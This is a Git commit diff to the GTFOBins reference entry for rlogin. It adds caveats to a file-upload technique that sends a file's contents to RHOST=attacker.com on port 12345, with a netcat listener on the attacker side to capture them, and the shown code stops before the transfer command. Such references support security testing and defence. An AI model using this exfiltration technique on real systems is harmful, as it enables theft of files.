mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
parent
c1ea5f2b41
commit
9652aee337
@ -1,7 +1,14 @@
|
|||||||
---
|
---
|
||||||
|
description: |
|
||||||
|
Usually `rlogin` is a symlink to `ssh`, the following works only when the *real* `rlogin` is used (e.g., from the `rsh-client` APT package).
|
||||||
functions:
|
functions:
|
||||||
file-upload:
|
file-upload:
|
||||||
- description: Send contents of a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker system to capture the contents.
|
- description: |
|
||||||
|
Send contents of a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker system to capture the contents.
|
||||||
|
|
||||||
|
`rlogin` hangs waiting for the remote peer to close the socket.
|
||||||
|
|
||||||
|
The file is corrupted by leading and trailing spurious data.
|
||||||
code: |
|
code: |
|
||||||
RHOST=attacker.com
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
|
Loading…
Reference in New Issue
Block a user